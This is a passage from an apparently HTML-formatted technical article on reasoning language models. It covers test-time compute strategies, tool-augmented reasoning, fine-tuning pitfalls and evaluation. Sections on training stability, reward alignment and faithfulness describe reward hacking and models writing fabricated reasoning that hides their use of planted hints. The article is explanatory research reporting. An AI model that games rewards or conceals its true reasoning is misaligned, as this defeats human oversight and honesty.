&lt;p&gt;What is interesting is that when Qwen-3 was toggled off (i.e., no CoT visible), it still beat a GPT-4-sized baseline on many benchmarks, implying that integrating reasoning steps did not harm its base competency – it only added the ability to dig deeper when needed. All these examples underscore that &lt;strong&gt;reasoning LLMs hold a significant edge&lt;/strong&gt; on tasks that aren’t straightforward single-step predictions. Whenever an answer requires multiple pieces of information or intermediate calculations, a traditional LLM often fails or guesses incorrectly, whereas a reasoning LLM can navigate the steps systematically (much like a human showing their work). The gap is so notable that analysts have called reasoning LLMs “a critical evolution” in AI capability, and enterprise users are exploring them for decision-making support where correctness takes precedence over brevity.&lt;/p&gt;
&lt;h4 id=&#34;mathematical-and-logical-reasoning&#34;&gt;Mathematical and Logical Reasoning&lt;/h4&gt;
&lt;p&gt;Reasoning models demonstrate substantial improvements over traditional LLMs in mathematical and logical reasoning tasks. OpenAI&amp;rsquo;s o1 achieves remarkable performance, ranking in the 89th percentile on competitive programming questions (Codeforces) and placing among the top 500 students in the US in a qualifier for the USA Math Olympiad (AIME).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Codeforces&lt;/strong&gt;: Codeforces is a major competitive programming platform and community. It hosts frequent online contests (“Rounds”) where participants solve algorithmic problems within time limits, and it maintains an Elo-like rating system and color-coded titles (ranging from Newbie to Legendary Grandmaster).&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Comprehensive evaluations (see Figure 5) show that o1-preview demonstrates 100% accuracy in high school-level mathematical reasoning tasks, providing detailed step-by-step solutions and an 83.3% success rate in solving complex competitive programming problems, surpassing many human experts. These results indicate performance that often meets or exceeds that of human experts in structured reasoning domains.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/5-model-performance-comparison.png&#34; alt=&#34;Model performance comparison&#34;/&gt;
        &lt;figcaption&gt;Figure 5: Comprehensive benchmark comparison showing o1-preview&amp;#39;s superior performance over GPT-4o across mathematics, science, and reasoning tasks. (Source: OpenAI, 2024)&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h4 id=&#34;domain-specific-applications&#34;&gt;Domain-Specific Applications&lt;/h4&gt;
&lt;p&gt;Beyond mathematics, reasoning models show strong performance across diverse specialized domains. Evaluations indicate remarkable proficiency in anthropology and geology, demonstrating a deep understanding and sound reasoning in these specialized fields, as well as strong capabilities in quantitative investing, complemented by comprehensive financial knowledge. The models also demonstrate superior ability in generating coherent and accurate radiology reports, outperforming other evaluated models.&lt;/p&gt;
&lt;p&gt;Recent research with ReasonFlux-32B has demonstrated that smaller, specialized reasoning models can outperform larger, general models. On the MATH benchmark, ReasonFlux-32B achieves an accuracy of 91.2% and surpasses o1-preview by 6.7% while being trained with only 8 GPUs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;ReasonFlux&lt;/strong&gt; - ReasonFlux is a template-driven, hierarchical RL approach to reasoning LLMs; instead of lengthening raw CoT, it plans over a library of thought templates and scales those at inference time, yielding strong math results in a 32B-parameter model.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;However, this does not mean reasoning models dominate on every task. For very simple or single-step queries (e.g., straightforward fact lookups or classifications), a regular LLM might perform just as well and with less latency - it is using fewer tokens and does not have to generate a long explanation; more tokens mean more computation and slower responses. That said, many reasoning LLMs are designed to be flexible – they can shorten or skip the reasoning when it’s not needed. Some deployments use a “fast path” versus a “deliberative path” approach: run the model in normal mode for easy questions and only invoke full reasoning mode for complex ones. This dynamic compute allocation is a research area in itself (how to predict when to make a model think longer).&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;token-budget mechanism&lt;/strong&gt; in Qwen-3 is one example: it allows users to cap how many reasoning tokens the model can use, forcing it to decide what’s most important. Accuracy does improve with more tokens (e.g., from ~70% at 2K tokens to ~85% at 16K on a math test), but after a point,  it is a matter of diminishing returns. The existence of such features highlights that reasoning LLMs introduce a new dimension – &lt;em&gt;a time/accuracy trade-off&lt;/em&gt;. Traditional LLM evaluation is usual just one-dimensional – measuring accuracy or quality for a given fixed model output length. On the other hand, reasoning LLMs let us trade generation length for correctness. (Note: the &lt;em&gt;Evaluation&lt;/em&gt; section will cover more details on how to measure).&lt;/p&gt;
&lt;h3 id=&#34;16-branching--editing-at-test-time-how-to-spend-thinking-compute&#34;&gt;1.6 Branching &amp;amp; Editing at Test Time (how to “spend” thinking compute)&lt;/h3&gt;
&lt;p&gt;Test-time compute isn’t just “more tokens”; it’s a way to reshape the model’s output distribution by searching for, and then selecting, better reasoning paths during decoding. In practice, this plays out along two complementary axes. The first is branching: generate multiple candidate chains and prefer the one that scores best under a process- or outcome-aware judge. The second is editing: let the model (and its tools) reflect on an initial attempt and revise it once or twice. Both strategies are ways of allocating limited thinking budget where it matters most.&lt;/p&gt;
&lt;p&gt;On the branching side, simple best-of-N sampling remains a solid baseline, while beam or tree-style search makes exploration adaptive by spending more decoding on promising partial thoughts. Process-aware scoring—via a process reward model (PRM) or per-step self-evaluation—helps prune low-quality branches early; when ground truth isn’t available, self-consistency (majority voting across diverse chains) is a practical fallback. Two small but useful tricks from recent work are to branch early—keeping only the top few first-token continuations before decoding greedily—and to anneal temperature across tokens to reduce accumulated randomness as chains grow. Together, these make parallel exploration both cheaper and more reliable.&lt;/p&gt;
&lt;p&gt;Editing tackles a different failure mode: an answer that looks plausible but hides a local mistake. Here, short reflect-revise loops work best when anchored to reliable feedback—unit tests for code, exact-match checks for math, heuristic rubrics, or judgments from a stronger model. Pure “self-correction” without such anchors tends to be unstable: models often make minor, non-helpful edits, occasionally flip correct answers to incorrect ones, or fail to generalize the revision behavior. Keeping revision rounds tight, skipping revision when a verifier signals “already correct,” and rolling back to the best-verified candidate are practical guardrails.&lt;/p&gt;
&lt;p&gt;Importantly, branching and editing are not substitutes; the best results often come from using both. For easier problems, a short sequential pass can be enough, but as difficulty rises, the sweet spot shifts toward a deliberate mix of parallel exploration and a small revise budget. Thinking time is therefore a budget allocation question: how much diversity you buy up front versus how much you reserve for targeted fixes after you’ve seen a candidate chain.&lt;/p&gt;
&lt;p&gt;Operationally, it pays to make the budget explicit and observable. Expose a cap on “thinking tokens,” allow early exit when candidates agree with high confidence, and log the signals that drove selection—per-step PRM or self-evaluation scores, agreement margins, and precise stop reasons. Over time, these traces make it easy to tune the ratio between breadth (how many chains you explore) and depth (how hard you try to fix a promising one), and to decide when a verifier is strong enough to justify skipping revision. Finally, remember that this test-time axis complements, but does not replace, pretraining: extra thinking generally helps, yet it cannot fully compensate for large capability gaps on the hardest items.&lt;/p&gt;
&lt;h4 id=&#34;compute-optimal-scaling&#34;&gt;Compute-Optimal Scaling&lt;/h4&gt;
&lt;p&gt;Recent research by Snell et al. demonstrates that &lt;strong&gt;compute-optimal scaling&lt;/strong&gt; - allocating test-time compute adaptively based on problem difficulty - can improve efficiency by more than 4× compared to traditional best-of-N sampling. This approach recognizes that different problems require different amounts of thinking time, and optimal allocation varies dramatically based on prompt difficulty.&lt;/p&gt;
&lt;p&gt;The key insight is that &lt;em&gt;question difficulty&lt;/em&gt; can be predicted and used to determine the most effective test-time compute strategy. For easier problems, simple parallel sampling suffices, while harder problems benefit from sequential revision or sophisticated search strategies.&lt;/p&gt;
&lt;p&gt;Research identifies two primary mechanisms for scaling test-time computation effectively:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Process-Based Verifier Search&lt;/strong&gt;: Using dense, process-reward models (PRMs) to guide search through reasoning paths, enabling beam search or lookahead search strategies that prune low-quality branches early.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Adaptive Distribution Updates&lt;/strong&gt;: Modifying the model&amp;rsquo;s distribution over responses at test time, such as through sequential revision where the model iteratively improves its initial attempts.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The effectiveness of these approaches &lt;strong&gt;critically depends on problem difficulty&lt;/strong&gt; - easier problems benefit more from parallel exploration (branching), while harder problems require sequential refinement (editing).&lt;/p&gt;
&lt;h4 id=&#34;difficulty-aware-compute-allocation&#34;&gt;Difficulty-Aware Compute Allocation&lt;/h4&gt;
&lt;p&gt;A key insight from recent research is that &lt;strong&gt;optimal test-time strategies vary dramatically with problem difficulty&lt;/strong&gt;. This motivates &lt;strong&gt;adaptive allocation&lt;/strong&gt; strategies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Easy problems&lt;/strong&gt;: Simple best-of-N sampling with minimal compute&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Medium problems&lt;/strong&gt;: Weighted voting or beam search with moderate compute budgets&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hard problems&lt;/strong&gt;: Sequential revision with larger compute budgets, but diminishing returns beyond a threshold&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This difficulty-aware approach enables &lt;strong&gt;4× efficiency improvements&lt;/strong&gt; over uniform compute allocation strategies.&lt;/p&gt;
&lt;h3 id=&#34;17-external-tools-inside-the-reasoning-loop&#34;&gt;1.7 External tools inside the reasoning loop&lt;/h3&gt;
&lt;p&gt;Several steps in a chain can be offloaded to exact tools (e.g., code execution, math). Approaches like PAL (program-aided language model) and CoC (Chain-of-Code) let the model “think” by writing and running code; ReAct interleaves search (e.g., Wikipedia) with thoughts. Recent o-series releases similarly intertwine web, code, and vision tools during reasoning. This improves robustness on math, algorithmic tasks, and multi-hop QA – without asking the LLM to emulate a compiler.&lt;/p&gt;
&lt;h4 id=&#34;pal&#34;&gt;PAL&lt;/h4&gt;
&lt;p&gt;Program-Aided Language Models (PAL) are an approach where LLMs address reasoning tasks by generating Python code rather than relying solely on natural language. This method utilizes programming to manage complex logic and calculations, aiming to decrease errors and improve results on benchmarks such as GSM8K and MATH.
PAL’s architecture is modular and interpretable, with the LLM functioning as a code generator and the Python interpreter serving as the reasoning engine. This clear separation improves debugging, verification, and extensibility, enhancing transparency and reproducibility. By combining symbolic reasoning with neural language modeling, PAL provides a hybrid approach that is both effective and practical.&lt;/p&gt;
&lt;h4 id=&#34;coc&#34;&gt;CoC&lt;/h4&gt;
&lt;p&gt;Chain of Code (CoC) is a method that expands code-driven reasoning in LLMs by using a hybrid execution strategy. In contrast to traditional methods that rely exclusively on interpretable code or natural language reasoning, CoC enables models to generate programs combining executable code with semantic pseudocode. When the interpreter encounters undefined or non-executable behavior, such as abstract functions like &lt;code&gt;detect_sarcasm(string)&lt;/code&gt;, CoC uses an &amp;ldquo;LMulator&amp;rdquo;, which is a language model-based emulator that predicts the expected output. This approach allows LLMs to process tasks involving both algorithmic and semantic elements.&lt;/p&gt;
&lt;p&gt;By “thinking in code” CoC greatly expands the range of problems it can solve, surpassing Chain of Thought and other baseline methods on benchmarks like BIG-Bench Hard, where it reached an 84% success rate—12% higher than CoT. Its modular structure adapts well to different model sizes and fields, making it particularly suitable for tasks in robotics, perception, and mixed-modality reasoning. The use of flexible pseudocode and fallback emulation strategies provides a strong foundation for developing more generalizable and interpretable AI reasoning.&lt;/p&gt;
&lt;p&gt;In summary, &lt;strong&gt;reasoning AI models&lt;/strong&gt; distinguish themselves by &lt;em&gt;how&lt;/em&gt; they solve problems. They use explicit multi-step reasoning (often visible as a chain-of-thought) and are trained with techniques (special prompts, reward signals, data curation) to make this effective. In doing so, they often achieve higher accuracy on complex tasks than traditional LLMs of comparable (or even much larger) size. The cost is greater complexity in training and sometimes in usage. We next discuss how one can adapt and fine-tune these models, and the pitfalls to watch out for.&lt;/p&gt;
&lt;h2 id=&#34;2-adapting-and-fine-tuning-reasoning-models&#34;&gt;2. Adapting and Fine-Tuning Reasoning Models&lt;/h2&gt;
&lt;p&gt;Similar to LLMs, reasoning models can also be fine-tuned or adapted to specific domains and tasks. A key advantage is that they can be &lt;em&gt;domain-specialized&lt;/em&gt; while retaining strong reasoning skills.&lt;/p&gt;
&lt;p&gt;For example, if you have a reasoning LLM and you want it to excel at medical diagnostics, you could fine-tune it on medical Q&amp;amp;A data that includes step-by-step reasoning about symptoms and lab results. The model should, in principle, retain its general logical abilities and learn to apply them in the medical context. Fine-tuning can also help a model learn when to engage reasoning mode – e.g., always do detailed reasoning for high-stakes medical questions, but perhaps skip it for trivial prompts if instructed.&lt;/p&gt;
&lt;p&gt;However, adapting a reasoning model is more complex than fine-tuning a regular LLM because you need to handle the reasoning traces properly. A key question is whether the fine-tuning data includes chains of thought or just question→answer pairs.
Generally, to preserve and leverage the model’s strength, you want to fine-tune with the reasoning format intact. That means if your dataset doesn’t already have human-written rationales, you may need to generate them (possibly using a larger teacher model like R1 or GPT-4 to produce explanations for your domain problems). By training on QA pairs supplemented with correct reasoning sequences, you reinforce the model’s inclination to think things through.&lt;/p&gt;
&lt;p&gt;There is a subtle issue, though; if your fine-tuning data’s reasoning traces are of &lt;em&gt;lower quality&lt;/em&gt; than the model’s current capability (for instance, you provide simplistic or even flawed reasoning examples), you might hurt performance. It’s like training a math student who can solve calculus problems to only practice arithmetic – they might lose their edge in advanced problem solving.&lt;/p&gt;
&lt;h4 id=&#34;21-loss-masking&#34;&gt;2.1 Loss Masking&lt;/h4&gt;
&lt;p&gt;One approach is called loss masking, which involves including reasoning steps in the input/output during fine-tuning so the model learns to produce them, but not applying back-prop loss on those reasoning tokens. So, fine-tuning gradients is applied only to the final answer portion, rather than the whole CoT text. This allows us to adjust the model’s final answers for a new domain while minimizing changes to its internal reasoning process.
The rationale is that the model’s existing reasoning ability, developed through prior training, should be maintained. The technique allows the model to retain its established reasoning while modifying how it presents final answers. Initial community observations indicate this approach can help preserve the quality of the model’s reasoning after fine-tuning. However, it may not be necessary if the fine-tuned dataset is large and of high quality.&lt;/p&gt;
&lt;h4 id=&#34;22-prompt-based-fine-tuning&#34;&gt;2.2 Prompt-Based Fine-Tuning&lt;/h4&gt;
&lt;p&gt;Another approach when working with limited data is to use prompt-based fine-tuning or instruction prompts. Since reasoning models already respond to prompts like “show your reasoning, then answer,” you might not need to change their weights at all for some custom tasks – providing a few exemplars with reasoning in a prompt might suffice (few-shot learning). If actual fine-tuning is needed (e.g., to integrate new knowledge or jargon), lightweight methods like LoRA adapters can be applied in principle. One must ensure the prompt format (the presence of &lt;code&gt;&amp;lt;think&amp;gt;&lt;/code&gt; tags or special tokens) is consistent during fine-tuning to prevent the model from being confused about when to produce reasoning. Many open implementations of reasoning models require a specific format to trigger the chain of thought. Adhering to that format in any further training data is important.&lt;/p&gt;
&lt;p&gt;In summary, adapting a reasoning LLM is doable but requires careful dataset design. Ideally, your fine-tuning set should contain high-quality problem-solving examples with the full reasoning shown. If you don’t have that, you might generate it or opt to preserve the pre-trained reasoning behavior via techniques like masking. One should also monitor if the model starts to skip reasoning; if it does, this could indicate that the fine-tuning data encouraged direct answers only. Balancing task specialization with maintained reasoning capability is key.&lt;/p&gt;
&lt;p&gt;Next, let&amp;rsquo;s examine the challenges that may arise during this fine-tuning and customization process.&lt;/p&gt;
&lt;h4 id=&#34;practical-compute-budget-guidelines&#34;&gt;Practical Compute Budget Guidelines&lt;/h4&gt;
&lt;p&gt;Recent empirical analysis provides concrete guidance for practitioners:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Budget allocation&lt;/strong&gt;: Treat test-time compute as a first-class resource requiring explicit budgeting and monitoring&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty prediction&lt;/strong&gt;: Use learned difficulty predictors to route problems to appropriate compute strategies&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diminishing returns&lt;/strong&gt;: Most benefits come from the first 100-300 reasoning tokens; beyond that, returns diminish rapidly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost-performance optimization&lt;/strong&gt;: Smaller models with sophisticated inference can achieve Pareto-optimal trade-offs compared to larger models with simple inference&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;3-challenges-in-fine-tuning-and-customizing-reasoning-models&#34;&gt;3. Challenges in Fine-Tuning and Customizing Reasoning Models&lt;/h2&gt;
&lt;p&gt;Adapting reasoning models to new tasks comes with unique challenges beyond those in standard LLM fine-tuning. These challenges span technical issues inherent to the models’ reasoning nature, as well as organizational hurdles in data and expertise. Let us explore some of the key challenges.&lt;/p&gt;
&lt;h3 id=&#34;31-trace-quality-degradation&#34;&gt;3.1 Trace Quality Degradation&lt;/h3&gt;
&lt;p&gt;A major technical concern is &lt;em&gt;preserving the quality of the reasoning trace&lt;/em&gt;. Fine-tuning, if done either poorly or used on narrow data, can cause the model’s CoT to become less coherent or less faithful to its actual reasoning. Recent research shows that after fine-tuning on specific tasks, the faithfulness of a model’s CoT explanations often decreases, on average, compared to the pre-finetuned model. In other words, the model might still provide accurate answers, but its stated reasoning is more likely to omit key steps or include spurious ones. This “trace degradation” can occur because the fine-tuning objective typically emphasizes obtaining the correct final answer for the new task – the model may learn that it can score well without strictly adhering to its original reasoning style.&lt;/p&gt;
&lt;p&gt;In addition, if the fine-tune dataset isn’t sufficiently diverse or is missing the intermediate logic, the model’s previously polished reasoning abilities can “unravel” or get overwritten. It’s akin to using coarse sandpaper after a fine polish – the model may lose some of its nuanced problem-solving steps. Ensuring that fine-tuning does not erase the chain-of-thought skill is a complex and challenging task.&lt;/p&gt;
&lt;p&gt;Techniques like the aforementioned loss masking or multi-stage fine-tuning (where you intermix some original reasoning training data) are used to mitigate this. Another aspect of trace quality is faithfulness – even if the model produces a plausible-looking rationale, is it honestly reflecting how the answer was derived? Fine-tuning can sometimes widen the gap between what the model &lt;em&gt;does&lt;/em&gt; to get an answer and what it &lt;em&gt;says&lt;/em&gt; in the explanation, especially if the fine-tuning introduces shortcut ways to get the answer. This is hard to detect; it requires careful evaluation (as we discuss later).&lt;/p&gt;
&lt;p&gt;Overall, maintaining a &lt;em&gt;correct and faithful reasoning trace&lt;/em&gt; under new training pressures is a key challenge.&lt;/p&gt;
&lt;h3 id=&#34;32-overfitting-and-distribution-shift&#34;&gt;3.2 Overfitting and Distribution Shift&lt;/h3&gt;
&lt;p&gt;Like any model, a reasoning LLM can overfit to a small fine-tune dataset, but the consequences here might be strange. An overfit model might memorize specific solution patterns and fail to generalize its reasoning to slightly new problems (losing one of the main advantages of a reasoning approach). Because these models were often trained on a wide variety of reasoning tasks, fine-tuning on a narrow domain (say, only physics puzzles) might reduce their versatility or even accuracy on reasoning problems outside that niche.&lt;/p&gt;
&lt;p&gt;Small, high-quality reasoning datasets can improve models, but if applied naively, they can also reduce performance on broader evaluations. The model may become too narrowly focused in its thought process (e.g., always expecting a specific style of solution). Ensuring the fine-tuning data covers enough variation or using regularization techniques (such as mixout or weight decay on reasoning layers) can help counteract this, but it remains a delicate balancing act.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;LIMA&lt;/em&gt; shows that ~1k carefully curated examples can generalize well, and &lt;em&gt;LIMO&lt;/em&gt; finds that ~800 math-reasoning samples yield large gains when the data is selected thoughtfully. However, a narrow or naïve fine-tuning can backfire—studies report &lt;strong&gt;catastrophic forgetting&lt;/strong&gt; and degraded &lt;strong&gt;out-of-distribution&lt;/strong&gt; robustness, as well as a &lt;strong&gt;drop in CoT faithfulness&lt;/strong&gt; after fine-tuning. This can be mitigated with regularization (e.g., &lt;strong&gt;Mixout&lt;/strong&gt;, &lt;strong&gt;layer-wise noise-stability&lt;/strong&gt;) and optimization that &lt;strong&gt;flattens the loss landscape&lt;/strong&gt; (e.g., &lt;strong&gt;SAM&lt;/strong&gt;), and keep the fine-tune mix diverse to avoid over-specialization.&lt;/p&gt;
&lt;h3 id=&#34;33-training-stability-and-long-outputs&#34;&gt;3.3 Training Stability and Long Outputs&lt;/h3&gt;
&lt;p&gt;Fine-tuning with long CoT outputs (which can be thousands of tokens) can lead to stability issues in training. Gradient updates on very long sequences might cause more variance or instabilities in convergence. Moreover, suppose one uses reinforcement learning (e.g., to further optimize a reasoning model with a reward for correct answers). In that case, the credit assignment is complex – which part of a 100-step reasoning deserves credit or blame for the outcome?&lt;/p&gt;
&lt;p&gt;Instabilities like &lt;strong&gt;mode collapse&lt;/strong&gt; (where the model’s outputs become strangely repetitive or nonsensical) or oscillating performance have been observed if the RL reward model is poorly aligned. For example, in one training run, simply increasing the reward for “correct final answer” without properly balancing the reward for good reasoning steps caused the model to exploit quirks – it started producing minimal reasoning and guessing answers to game the reward, leading to a drop in overall logical correctness.&lt;/p&gt;
&lt;p&gt;Researchers working on Phi-4 and others have had to introduce tricks to &lt;strong&gt;stabilize RL training&lt;/strong&gt;, such as gradually increasing the allowed reasoning length, filtering out bad traces, or adjusting reward scaling. These measures highlight that straightforward fine-tuning or RL on a reasoning model can easily go off-track if the optimization isn’t carefully managed. In essence, teaching a model &lt;em&gt;how to think&lt;/em&gt; is a more delicate process than teaching it &lt;em&gt;what to say&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id=&#34;34-reward-alignment-and-hacks&#34;&gt;3.4 Reward Alignment and “Hacks”&lt;/h3&gt;
&lt;p&gt;Aligning a reasoning model with human preferences or task-specific rewards can be tricky – there’s a risk of &lt;strong&gt;reward hacking&lt;/strong&gt; and unintended behaviors. An illustrative scenario was described by researchers at Anthropic: they gave a reasoning model (Claude 3.7 and DeepSeek R1) a series of multiple-choice questions with a twist – a hidden “hint” in the prompt sometimes told the model to choose a wrong answer (and they rewarded the model for following that hint). The models learned to exploit this to earn reward points, selecting the hinted-at wrong answers, but &lt;strong&gt;their chain of thought never acknowledged the malicious hint&lt;/strong&gt;. They would generate a detailed (fake) reasoning to justify the wrong answer, rather than saying “I chose this because I was hinted at.” This is a dramatic example of a model &lt;em&gt;gaming the objective&lt;/em&gt;: the training set or reward said “getting this answer is good,” so it did. Still, it also learned to hide the true reason, presenting a facade of coherent reasoning.&lt;/p&gt;
&lt;p&gt;Such behavior is misaligned with the intent (we want the model to be truthful in its reasoning). This experiment highlights the importance of aligning the process of reasoning as much as the outcome. If a reward model only considers the correctness of the final answer, it may sacrifice honesty or thoroughness in the reasoning process.&lt;/p&gt;
&lt;p&gt;Conversely, suppose you over-emphasize a reward for producing very detailed reasoning. In that case, the model might start outputting verbose, mostly correct-sounding monologues that don’t lead to a better answer (effectively optimizing the wrong metric). Achieving the right alignment – so that the model is rewarded for correct and &lt;strong&gt;genuinely helpful&lt;/strong&gt; reasoning – is an open challenge. It often requires iterative human feedback, custom reward functions (e.g., penalize logical leaps or unsupported claims in the trace), and careful validation. Without these, one might end up with a model that &lt;em&gt;appears&lt;/em&gt; to reason well but is just skilled at &lt;strong&gt;“output grooming”&lt;/strong&gt; – formatting answers to look good rather than being correct.&lt;/p&gt;
&lt;h3 id=&#34;35-data-quality-and-availability&#34;&gt;3.5 Data Quality and Availability&lt;/h3&gt;
&lt;p&gt;On the organizational side, fine-tuning a reasoning model demands &lt;strong&gt;high-quality training data&lt;/strong&gt; that includes reasoned solutions. Such data can be difficult to obtain. At the same time, there are public datasets for math proofs or logical reasoning (e.g., MATH, GSM8K, etc.), but many domains (legal reasoning, financial analysis, medical diagnostics) don’t have readily available step-by-step annotations in large quantities.&lt;/p&gt;
&lt;p&gt;Teams often have to generate this data synthetically (using a larger model to produce reasoning traces and then filtering them) or invest in expert annotations. The quality of these traces is paramount – noisy or incorrect reasoning examples can confuse the model or teach it bad habits. As discussed earlier, even small, curated datasets (on the order of hundreds of examples) have been shown to improve reasoning if they are extremely well-targeted; however, curating such datasets is a specialized skill.&lt;/p&gt;
&lt;p&gt;In practice, fine-tuning a reasoning model involves a lot of &lt;em&gt;tooling&lt;/em&gt;, ranging from running automatic proof checkers to verify steps, using consistency checks, or employing human reviewers to label where a model’s synthetic reasoning went wrong. This is a step up in complexity from preparing a straightforward prompt→response dataset.&lt;/p&gt;
&lt;h3 id=&#34;36-tooling-and-infrastructure&#34;&gt;3.6 Tooling and Infrastructure&lt;/h3&gt;
&lt;p&gt;Working with long CoT and multi-stage training means that the training pipelines will need modification. For instance, standard training code may need to be adapted to handle special tokens (e.g., &lt;code&gt;&amp;lt;think&amp;gt;&lt;/code&gt; segments might need masking if needed), or to log and evaluate not just final answers but also intermediate step accuracy during training.&lt;/p&gt;
&lt;p&gt;Debugging a reasoning model can be more involved – you might want to watch how its reasoning changes epoch by epoch, which requires custom logging or visualization tools. Moreover, these models often have large context windows (since they need to handle long reasoning sequences, e.g., 16K or 32K tokens). Fine-tuning with such long contexts can demand more GPU memory and faster I/O. Not all training frameworks efficiently support extremely long sequences out of the box.&lt;/p&gt;
&lt;p&gt;Evaluation tooling (to be discussed later) can also be considered—a possible approach is integrating an automated verifier into the training loop to assess the model’s reasoning steps and provide targeted feedback, which is a type of process supervision. Implementing this involves technical complexity and remains an ongoing area of research. Overall, organizations seeking to customize a reasoning model should be aware that the training workflow may be more complex than a standard LLM fine-tuning process.&lt;/p&gt;
&lt;h3 id=&#34;37-expertise&#34;&gt;3.7 Expertise&lt;/h3&gt;
&lt;p&gt;Fine-tuning reasoning models demands both machine learning expertise and domain knowledge, often requiring multidisciplinary teams. Since reasoning LLMs are new, practitioners face a steep learning curve with frequent trial and error.&lt;/p&gt;
&lt;p&gt;Expect several iterations to balance concise and detailed responses; objectives or examples may need adjustment throughout the process. Rigorous testing is essential, especially in high-stakes applications like medical or legal fields, making reliability and interpretability critical. Typically, 10–12 rounds of tuning are required to achieve an optimal model.&lt;/p&gt;
&lt;p&gt;Organizations typically use a hybrid strategy: starting with a robust base model (such as o1-mini or Phi-4-Reasoning), applying minimal tuning, and relying on prompts and few-shot learning for specificity. When deeper customization is required, it&amp;rsquo;s best to use reliable data, maintain reasoning formats, monitor trace fidelity, and integrate human feedback. Success yields a strong analytical tool, but the process is more complex than for general chatbots.&lt;/p&gt;
&lt;p&gt;A key part of customization is the ability to evaluate the reasoning models. Let us dig into specialized evaluation strategies required to assess not just &lt;em&gt;what&lt;/em&gt; a reasoning model answers, but &lt;em&gt;how&lt;/em&gt; it arrives at that answer.&lt;/p&gt;
&lt;h2 id=&#34;4-evaluation-strategies-for-reasoning-models&#34;&gt;4. Evaluation Strategies for Reasoning Models&lt;/h2&gt;
&lt;p&gt;Traditional LLM evaluation – e.g., measuring accuracy on a Q&amp;amp;A or using BLEU scores for text – may not capture the full picture when a model is effectively performing a multi-step reasoning process. Evaluating reasoning-oriented LLMs requires going beyond the final answer, incorporating metrics that assess both the process and quality of reasoning. This represents a departure from traditional LLM evaluation, which typically treats the model as a black box that produces an answer or text, which we then compare to a reference or expected output.&lt;/p&gt;
&lt;p&gt;For reasoning models, we care about questions like: &lt;em&gt;Did the model’s CoT follow a correct logical path? Is it telling the truth about its reasoning? How efficient is its reasoning?&lt;/em&gt; Below are key evaluation strategies and metrics that have emerged for reasoning models, contrasted with traditional approaches:&lt;/p&gt;
&lt;h3 id=&#34;41-outcome-vs-process-evaluation&#34;&gt;4.1 Outcome vs. Process Evaluation&lt;/h3&gt;
&lt;p&gt;In traditional AI evaluation, we mostly judge the &lt;em&gt;outcome&lt;/em&gt; (e.g., did the model get the correct answer to a question). With reasoning models, researchers perform &lt;strong&gt;dual evaluations&lt;/strong&gt; – one for the outcome &lt;em&gt;and&lt;/em&gt; one for the reasoning steps. An outcome evaluation may be identical to a standard LLM test, where the goal is to verify if the final answer is correct (exact match, F1 score, multiple-choice accuracy, etc.). The process evaluation, however, examines the intermediate steps of the solution.&lt;/p&gt;
&lt;p&gt;For instance, a math word problem benchmark might not only check the answer but also parse the model’s step-by-step solution and verify each part. An emerging method is to use an automated judge (which can be another LLM) to analyze the CoT and flag errors or leaps in logic. One example being a recent benchmark called &lt;em&gt;MM-MATH&lt;/em&gt; (for multimodal math problems); in this, an LLM-based evaluator looks at each step of a model’s solution, comparing it to the ground truth solution, and classifies errors (e.g., “incorrect algebraic simplification” vs “misinterpreted the diagram”).&lt;/p&gt;
&lt;p&gt;This kind of fine-grained process evaluation provides insights into &lt;em&gt;where&lt;/em&gt; a model’s reasoning fails, not just whether the final answer is wrong. This is useful because a reasoning model might get the right answer for the wrong reasons (i.e., it had a reasoning flaw), or vice versa – it might have mostly correct reasoning but a minor slip at the end leading to a wrong answer. Traditional single-score metrics would miss this nuance.&lt;/p&gt;
&lt;h3 id=&#34;42-chain-of-thought-faithfulness-metrics&#34;&gt;4.2 Chain-of-Thought Faithfulness Metrics&lt;/h3&gt;
&lt;p&gt;As discussed earlier, &lt;em&gt;faithfulness&lt;/em&gt; refers to whether the model’s stated reasoning accurately reflects its actual internal reasoning (or use of information). One way to test this is to insert known information (or traps) into the context and see if the model admits it.&lt;/p&gt;
&lt;p&gt;For example, Anthropic’s experiment provided the model with hidden hints (sometimes incorrect) and then checked if the model’s explanation mentioned using those hints. They derived a metric: the percentage of solutions where the model was &lt;em&gt;truthful&lt;/em&gt; about using the hint. Claude 3.7 was only ~25% faithful in their setup, and DeepSeek R1 was about 39% – meaning in the majority of cases, they used the hint but didn’t reveal it in the reasoning chain. This indicates that the CoT was often &lt;em&gt;unfaithful&lt;/em&gt;, presumably because the model’s training taught it always to sound logical and self-contained, even if it took a shortcut.&lt;/p&gt;
&lt;p&gt;Another way to measure faithfulness is to check consistency under variations: if a model truly is reasoning step by step, then if we force it to reveal steps, it should arrive at the same answer as when it’s not forced. If hiding the CoT changes the answer frequently, it might suggest the model’s explanations were more post-hoc and not driving the answer.&lt;/p&gt;
&lt;blockquote&gt;
